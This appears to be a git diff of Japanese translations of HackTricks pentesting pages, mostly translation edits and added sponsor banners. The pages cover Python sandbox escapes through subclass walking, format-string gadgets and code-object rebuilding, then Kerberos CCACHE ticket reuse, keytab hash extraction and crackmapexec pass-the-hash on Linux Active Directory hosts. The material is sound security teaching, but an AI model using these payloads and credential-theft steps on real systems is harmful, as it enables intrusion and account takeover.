[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) で、**グローバル変数**を見つけることができる**場所**を数十/**数百**見つけることができます。 [**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) で、**グローバル変数**を見つけるための**場所**を数十/**数百**見つけることができます。
## 任意の実行を発見する ## 任意の実行を発見する
ここでは、**より危険な機能を簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明します。 ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明します。
#### バイパスを使用したサブクラスへのアクセス #### バイパスを使用したサブクラスへのアクセス
この技術の最も敏感な部分の一つは、**ベースサブクラス**にアクセスできることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他にも可能な方法**があります: この技術の最も敏感な部分の一つは、**ベースサブクラス**にアクセスできることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他の可能な方法**もあります:
```python ```python
#You can access the base from mostly anywhere (in regular conditions) #You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__() "".__class__.__base__.__subclasses__()
@ -553,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## ビルトイン、グローバルの再帰的検索... ## ビルトイン、グローバルの再帰的検索...
{% hint style="warning" %} {% hint style="warning" %}
これはただの**素晴らしい**ものです。もしあなたが**グローバル、ビルトイン、オープンなどのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。** これはただの**素晴らしい**ものです。もし**globals、builtins、open、またはその他のオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -698,11 +706,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば `people_obj.__init__`、**辞書要素**には**括弧**を使って引用符なしでアクセスできることです。例: `__globals__[CONFIG]` 注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば`people_obj.__init__`、そして**辞書要素**には**括弧**を使って引用符なしでアクセスできることです。例`__globals__[CONFIG]`
また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
フォーマット文字列の他の興味深い特徴は、**`str`**、**`repr`**、**`ascii`**の**関数**を指定されたオブジェクトで実行する可能性です。これにはそれぞれ**`!s`**、**`!r`**、**`!a`**を追加します: フォーマット文字列の他の興味深い特徴は、指定されたオブジェクトで**`str`**、**`repr`**、および**`ascii`**の**関数**をそれぞれ**`!s`**、**`!r`**、**`!a`**を追加することで**実行**できる可能性です。
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
@ -721,7 +729,7 @@ return 'HAL 9000'
**フォーマット** **文字列**の**例**についての**さらなる例**は[**https://pyformat.info/**](https://pyformat.info)で見つけることができます。 **フォーマット** **文字列**の**例**についての**さらなる例**は[**https://pyformat.info/**](https://pyformat.info)で見つけることができます。
{% hint style="danger" %} {% hint style="danger" %}
のページも確認して、Python内部オブジェクトから**機密情報を読み取る**ガジェットを探してください: 以下のページも確認して、Python内部オブジェクトから**機密情報を読み取る**ガジェットを探してください:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
@ -752,7 +760,7 @@ str(x) # Out: clueless
このような例は、[**呼び出しなしのPython実行**](./#python-execution-without-calls)のセクションにもっとあります。 このような例は、[**呼び出しなしのPython実行**](./#python-execution-without-calls)のセクションにもっとあります。
Pythonのフォーマット文字列の脆弱性では関数を実行することはできません括弧を使用することはできません)、したがって、`'{0.system("/bin/sh")}'.format(os)`のようにRCEを取得することは不可能です。\ Pythonのフォーマット文字列の脆弱性では関数を実行することはできません括弧を使用することができないため)、したがって、`'{0.system("/bin/sh")}'.format(os)`のようにRCEを取得することは不可能です。\
しかし、`[]`を使用することは可能です。したがって、一般的なPythonライブラリに**`__getitem__`**または**`__getattr__`**メソッドがあり、任意のコードを実行する場合、それらを悪用してRCEを取得することが可能です。 しかし、`[]`を使用することは可能です。したがって、一般的なPythonライブラリに**`__getitem__`**または**`__getattr__`**メソッドがあり、任意のコードを実行する場合、それらを悪用してRCEを取得することが可能です。
Pythonでそのようなガジェットを探すために、書き込みはこの[**Github検索クエリ**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)を提案しています。そこで彼はこの[もの](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)を見つけました: Pythonでそのようなガジェットを探すために、書き込みはこの[**Github検索クエリ**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)を提案しています。そこで彼はこの[もの](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)を見つけました:
@ -781,17 +789,17 @@ pydll = LibraryLoader(PyDLL)
```python ```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
``` ```
実際の課題は、サーバーのディスクに任意のファイルを作成できる別の脆弱性を悪用しています。 The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
## Pythonオブジェクトの解析 ## Pythonオブジェクトの解析
{% hint style="info" %} {% hint style="info" %}
**pythonバイトコード**について深く**学びたい**場合は、このトピックに関する**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) もし**pythonバイトコード**について深く**学びたい**なら、この**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
いくつかのCTFでは、**フラグ**が存在する**カスタム関数の名前**が提供され、その**関数**の**内部**を確認して抽出する必要があります。 いくつかのCTFでは、**フラグ**が存在する**カスタム関数の名前**が提供され、その**関数**の**内部**を確認して抽出する必要があります。
これ検査する関数です: これ検査する関数です:
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -912,7 +920,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
注意してください、**もしpythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード**`get_flag.func_code.co_code`)を取得し、ローカルで**逆アセンブル**することができます。変数が読み込まれている内容(`LOAD_CONST`)は見ることができませんが、`LOAD_CONST`が読み込まれている変数のオフセットも示すため、(`get_flag.func_code.co_consts`)から推測することができます。 注意してください、**もしpythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード**`get_flag.func_code.co_code`)を取得し、**ローカルで逆アセンブル**することができます。変数が読み込まれている内容(`LOAD_CONST`)は見ることができませんが、`LOAD_CONST`が読み込まれている変数のオフセットも示すため、(`get_flag.func_code.co_consts`)から推測することができます。
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -936,8 +944,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Pythonのコンパイル ## Pythonのコンパイル
さて、あなたが**実行できない関数についての情報をダンプできる**と仮定しましょうが、**実行する必要があります**。\ さて、何らかの方法で**実行できない関数についての情報をダンプできる**と想像してみましょう。しかし、**実行する必要があります**。\
次の例のように、あなたはその関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわかりません**_より複雑な`calc_flag`関数を想像してください_ 次の例のように、その関数の**コードオブジェクトにアクセスできる**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわからない**_より複雑な`calc_flag`関数を想像してください_
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -997,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
### Bypass Defenses ### Bypass Defenses
この投稿の最初の例では、**`compile` 関数を使用して任意の Python コードを実行する方法**を見ることができます。これは、**ループやすべてを含む全体のスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用しても同じことができます)。\ この投稿の最初の例では、**`compile`関数を使用して任意のpythonコードを実行する方法**を見ることができます。これは、**ループやすべてを含む全体のスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用しても同じことができます)。\
とにかく、時には**ローカルマシン**で**コンパイルされたオブジェクト**を**作成**し、**CTFマシン**で実行することが有用な場合があります例えば、CTFに`compiled`関数がないため)。 とにかく、時には**ローカルマシン**で**コンパイルされたオブジェクト**を**作成**し、**CTFマシン**で実行することが有用な場合があります例えば、CTFに`compiled`関数がないため)。
例えば、_./poc.py_を読み取る関数を手動でコンパイルして実行してみましょう 例えば、_./poc.py_を読み取る関数を手動でコンパイルして実行してみましょう
@ -1037,7 +1045,7 @@ f(42)
``` ```
## コンパイルされたPythonの逆コンパイル ## コンパイルされたPythonの逆コンパイル
[**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイルされたPythonコードを**逆コンパイル**できます。 [**https://www.decompiler.com/**](https://www.decompiler.com)のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。
**このチュートリアルをチェックしてください**: **このチュートリアルをチェックしてください**:
@ -1049,7 +1057,7 @@ f(42)
### アサート ### アサート
`-O` パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づく条件付きコードを削除します。\ `-O`パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づくコードを削除します。\
したがって、次のようなチェックが したがって、次のようなチェックが
```python ```python
def check_permission(super_user): def check_permission(super_user):
@ -1070,17 +1078,25 @@ will be bypassed
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,7 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
Linuxマシンは、Active Directory環境内に存在することもあります。 <figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Linuxマシンは、Active Directory環境内にも存在する可能性があります。
AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に保存している可能性があります。このチケットは、他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。 AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に保存している可能性があります。このチケットは、他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。
@ -23,9 +27,9 @@ AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に
### LinuxからのAD列挙 ### LinuxからのAD列挙
LinuxまたはWindowsのbashでADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。 LinuxまたはWindowsのbashでADにアクセスできる場合、[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試してADを列挙できます。
LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認してください LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認できます
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -33,25 +37,25 @@ LinuxからADを列挙する**他の方法**を学ぶには、次のページを
### FreeIPA ### FreeIPA
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、を参照してください: FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、以下を参照してください:
{% content-ref url="../freeipa-pentesting.md" %} {% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md) [freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %} {% endcontent-ref %}
## チケットの操作 ## チケットを使った遊び
### パス・ザ・チケット ### パス・ザ・チケット
このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、これらのCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、このCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %} {% endcontent-ref %}
### /tmpからのCCACHEチケット再利用 ### /tmpからのCCACHEチケット再利用
CCACHEファイルは、**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。 CCACHEファイルは、**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。 `env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。
```bash ```bash
@ -75,7 +79,7 @@ make CONF=Release
``` ```
この手順は、さまざまなセッションに注入を試み、抽出されたチケットを`/tmp`に`__krb_UID.ccache`という命名規則で保存することで成功を示します。 この手順は、さまざまなセッションに注入を試み、抽出されたチケットを`/tmp`に`__krb_UID.ccache`という命名規則で保存することで成功を示します。
### SSSD KCMからのCCACHEチケット再利用 ### SSSD KCMからのCCACHEチケット再利用
SSSDは、`/var/lib/sss/secrets/secrets.ldb`のパスにデータベースのコピーを保持しています。対応するキーは、`/var/lib/sss/secrets/.secrets.mkey`のパスに隠しファイルとして保存されています。デフォルトでは、キーは**root**権限を持っている場合にのみ読み取ることができます。 SSSDは、`/var/lib/sss/secrets/secrets.ldb`のパスにデータベースのコピーを保持しています。対応するキーは、`/var/lib/sss/secrets/.secrets.mkey`のパスに隠しファイルとして保存されています。デフォルトでは、キーは**root**権限を持っている場合にのみ読み取ることができます。
@ -94,7 +98,7 @@ klist -k /etc/krb5.keytab
``` ```
### /etc/krb5.keytab からアカウントを抽出する ### /etc/krb5.keytab からアカウントを抽出する
サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。 サービスアカウントキーは、ルート権限で動作するサービスに不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。 keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。
```bash ```bash
@ -119,17 +123,21 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -13,12 +13,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
# Sudo/Admin グループ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
## **PE - メソッド 1** {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**時々**、**デフォルトで \(またはいくつかのソフトウェアが必要とするため\)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます: # Sudo/Admin Groups
## **PE - Method 1**
